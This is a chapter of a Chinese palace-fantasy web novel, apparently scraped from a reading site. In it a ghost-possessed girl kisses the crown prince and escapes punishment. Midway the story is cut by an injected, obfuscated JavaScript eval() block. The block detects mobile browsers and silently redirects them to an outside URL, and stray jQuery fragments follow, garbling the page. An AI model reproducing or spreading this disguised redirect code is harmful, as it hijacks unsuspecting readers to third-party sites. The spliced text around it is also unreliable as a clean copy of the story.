默认冷灰
24号文字
方正启体

2. 强吻太子

作者:春溪酿雪本书字数:K更新时间:
    “奴婢求求您了。”


    忽然,御花园荷花池对面传来一阵嘈杂的声音,远远望去只见人群黑乎乎的一片混乱。


    人声鼎沸。


    余云姚循声望去,一抹赤红的影子背着月色,笔直的朝着荷花池摔了下去——


    砰。


    砸碎了倒映着的圆月,惊起潺潺波纹。


    “殿下!”


    “快救人啊!殿下落水了!”


    整个紫禁城瞬间沸腾。


    就在一瞬间,荷花池四面八方传来无数的落水声,场面一度失控。包包拉着余云姚靠在栏杆边惊慌失措:“太子殿下落水了。”


    余云姚愣了半天:“太子殿下?”


    她这一入宫就能看见太子落水这等大事?


    众人的目光都汇聚在那黯淡的池中央时,余云姚突然听到一道阴森森的声音在远处呼唤。


    “小姑娘…”


    循声望去。


    一阵风吹落了她的眼纱。


    一缕幽魂从池子里缓缓升起,湿透了的发丝布满整张脸,只露出那苍白的嘴唇。


    “殿下在池子底下。”她的声音阴沉嘶哑,却充满了魔力。


    余云姚还没回过神,身子就鬼使神差的缓缓逼近栏杆,纵身一跃——


    她吓了一跳,暗叫不好。


    又被阴魂附身了。


    “余姑娘!”


    没等她回过神,整个人扑通一下瞬间没入了池子里,感觉身体沉重无比,隐约望见池中的镜花水月,微光透过水面散落在她身上。她想去触碰,却呼吸不得,下一秒,脑子一片空白,失去了意识。


    只见一个瘦弱的少女靠在陌生男人的胸膛上熟睡,周围的宫女太监们望着他们纷纷窃窃私语。


    余云姚浑身的气质变得与之前完全不一样。


    包包瞪大双眼——


    “这女子胆子也太大了吧?”


    “竟敢非礼殿下。”


    男子的墨色长发在月色下透着淡淡的微红,高高的马尾此时已经散落,红色发带掉在那湿透了的肩膀上。


    他穿着一身大红锦绣衣袍,上面刺绣一针一线精致而又优雅,几种颜色的线缠绕着绣成了一只锦鲤。


    一眼望去,似是天边染红了的血红之月。


    少女浑身湿透了的衣裳将她纤细曼妙的身姿勾勒出一道曲线,她微微蹙起了眉,薄唇微微嘟起。


    “殿下可是伤着哪儿了?”


    她的声音充满了魔力,本就清脆悦耳的声音带着几分撒娇的意味,谁听了不得心动。


    当然,除了鞠行臣这个不解风情的人。


    他眼底划过一丝冷冽,沉声:“你谁啊?”


    “还不赶紧滚下去?”


    少女明显不开心了,没有知难而退,反而趴上了他的胸膛。那张巴掌大的脸上挂着一双明亮的双眸,泪光闪烁,嘴唇瘪紧,一副委屈巴巴的模样:“殿下,奴家可是您的救命恩人。”


    那只赤红之瞳深邃而又恐怖,好似是划破了眼睛才能化脓成这个样子。


    鞠行臣不由得起了一身鸡皮疙瘩,此人的右眼太过于惊悚。他生硬地将少女推开,冷声提醒:“你离本宫远点,有什么要求尽管说,本宫定会尽量满足。”


    少女得到自己想要的答案后欣喜万分:“当真?”


    “当真。”


    “其实…”


    “奴家想…”


    少女脸蛋微红,害羞的抿着唇。鞠行臣紧蹙眉头,心底升起一股不详的预感。就在此时,少女猛地将薄唇凑了过来。


    想亲你。


    她话音未落,就已经付出了行动。


    温热的气息扑面而来,鞠行臣瞪大了双眼,脸颊贴上了一个柔软的吻。


    空中的气息瞬间凝固,众人大气都不敢喘。


    这个女人死定了。


    在场所有人内心想着,纷纷将同情的目光投向她。


    而在这个水鬼还想再进下一步之际,余云姚好不容易抢回自己身体的控制权。


    刚恢复了意识,她缓缓睁开眼,只见一双硕大的黑色瞳孔死死盯着自己。而她们之间的距离,可以说是十分暧昧。


    想刀人的眼神是藏不住的。


    余云姚吓了一跳,连忙推开了鞠行臣,愣在原地不知如何是好。


    “哎哟,这是谁啊?敢强吻太子爷?”


    “快别说了,你没看殿下都要杀了她吗?”


    “啧啧,估计是要死了。”


    对面的男子嘴角抽搐,眼底满是冰冷,他阴沉着脸,伸出修长的手指轻轻擦拭着脸颊,阴笑:“你想死吗?”


    他浑身散发着危险的气息,仿佛下一秒就会冲过来掐死余云姚。


    余云姚迅速整理了一下眼前的情况。


    她被阴魂附身了。


    她刚刚是亲了这个男人。


    这个男人好像是太子殿下。


    得,她死定了。


    余云姚定了定神,笑得比哭还要难看:“殿下…”


    “如果我说,刚刚亲你的那个人不是我,你信吗?”


    鞠行臣嘴角一抽,这女子怕不是个疯子,他挑眉皮笑肉不笑道:“怎么?不敢认了?”


    “真的不是我…”


    余云姚觉得她就不应该抽中那根下山寻师弟的签,不然也不会去了慈寿宫,还得罪了当朝太子。


    她默默叹气,正当她想放弃挣扎时,一旁的包包突然冲了过来。


    “殿…殿下,余姑娘一定是有隐情的。”


    包包将余云姚护在身后,低着头不敢看鞠行臣。毕竟这位太子殿下可是出了名的凶,事迹都能编成一册话本了。


    鞠行臣打量着眼前这个冲出来的宫女,深邃的眸光流转。


    包包是父皇的贴身宫女,御前的大红人。就算是他,也不敢轻易得罪她。


    “哦?是有何隐情?”他来了兴致,问。


    余云姚总不能说自己是被阴魂附了身,她扯了扯包包的衣角,满脸尴尬。


    包包环顾四周人群,不卑不亢的昂起头,道:“还请殿下附耳。”


    鞠行臣随之附耳恭听,只见包包低声说了句什么,他脸色一变,沉默了下来。


    “你们走吧。”


    他用十分质疑的目光上下打量着余云姚,半响,才不满挥手示意她们离开。


    余云姚愣神的功夫,包包便匆匆拉着她离开了现场。


    在众目睽睽之下,她似乎是唯一一个得罪了太子,还能全身而退的人。


    ——</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487574|202102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “余姑娘,您以后可千万别去招惹殿下。”


    包包一边领着余云姚快速往元月殿走,一边忧心仲仲的解释:“殿下…性格比较怪异,得罪他的人没有一个活得过当天的。”


    “不过还好,您是唯一一个从慈寿宫出来的…”


    余云姚愣了愣,这莫不是就是活阎王?


    叫你三更死,活不到五更。


    她听着包包口中的鞠行臣后背一股凉意顺着脊梁骨趴,今日她可算是死里逃生了。


    “还是得谢谢包包姑娘的搭救之恩。”


    她一边将自己的眼睛重新蒙上,一边叹气。


    真是要死了,都怪师弟,害她差点丢了性命。


    “不用谢的,余姑娘。”


    眼看周围风景越发陌生,她不由得好奇:“咱们这是去?”


    包包的脚步在一座灯火通明的寝宫嘎然停止,笑:“这是元月殿,今儿个天色已晚,陛下已经就寝,明日包包再带姑娘去见陛下。”


    余云姚望着这偌大的寝宫感到受宠若惊,刚想找个理由换个小点的地方,包包就将灯笼塞进了她的手里。


    “余姑娘今日早些休息,明日记得提前做好准备。”


    话音刚落,她便拎着衣裙闯进了夜色当中,没了身影。


    元月殿是没有慈寿宫大的,但里面的装潢风格大多相似,第一眼望去还是惊的她脑袋嗡嗡的。


    想起三日期限,余云姚便低垂下眼睑,瞥了一眼腰间的玉牌。


    这是当初她有了阴阳眼之后,一个小师傅给她的。


    小师傅不太像是道教的道士,也不像是佛教的和尚,反而玉树临风,颇有山间居士的感觉。他那时唇角含着笑意,蹲下了身子,亲手将玉牌给她系上。


    声音温润,如同天籁。


    “通灵之事你就当平常事就行,无需刻意隐瞒,也无需为这右眼自卑。”


    “总有一天,它会成为你的宝贝。”


    “这玉牌是我出生时就带着的,对付邪祟很有效果,可起到防身的效果。”


    小师傅就像是唠叨鬼,离开时说了许多。她十分认真的听到最后,他却弹了弹她的脑门:“你走吧,把今日之事当做一个秘密,不要跟任何人提及。”


    想起小师傅,余云姚只能将保命的希望寄托于他了。


    许是今日太累,她一边想着明日该如何应对那个大人物,一边昏沉沉的熟睡了去。


    ——


    翌日清晨,天还蒙蒙亮,太阳悬在东边,紫禁城遍地都是有遮阴的。


    “余姑娘,陛下有请。”


    余云姚早就梳妆打扮好,在玄武殿门口候着。原本是想着陛下下了早朝后再来的,没想到他如此着急,天还没亮就让包包去唤她了。


    她停在原地打了个哈欠,擦拭去眼角的泪光才拎起衣裙走了进去。


    南川国明德皇帝的传闻在大街小巷中比较独特。


    以古怪,残暴居首。


    听闻十几年前陛下还是太子的时候,他颇得民心,不仅才华横溢,而且见解独到。自从皇后娘娘去世后,他便变得自暴自弃。


    如今已经被传成了个生性残暴,喜怒无常的暴君了。


    余云姚一开始是不信的,直到见到了他本人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)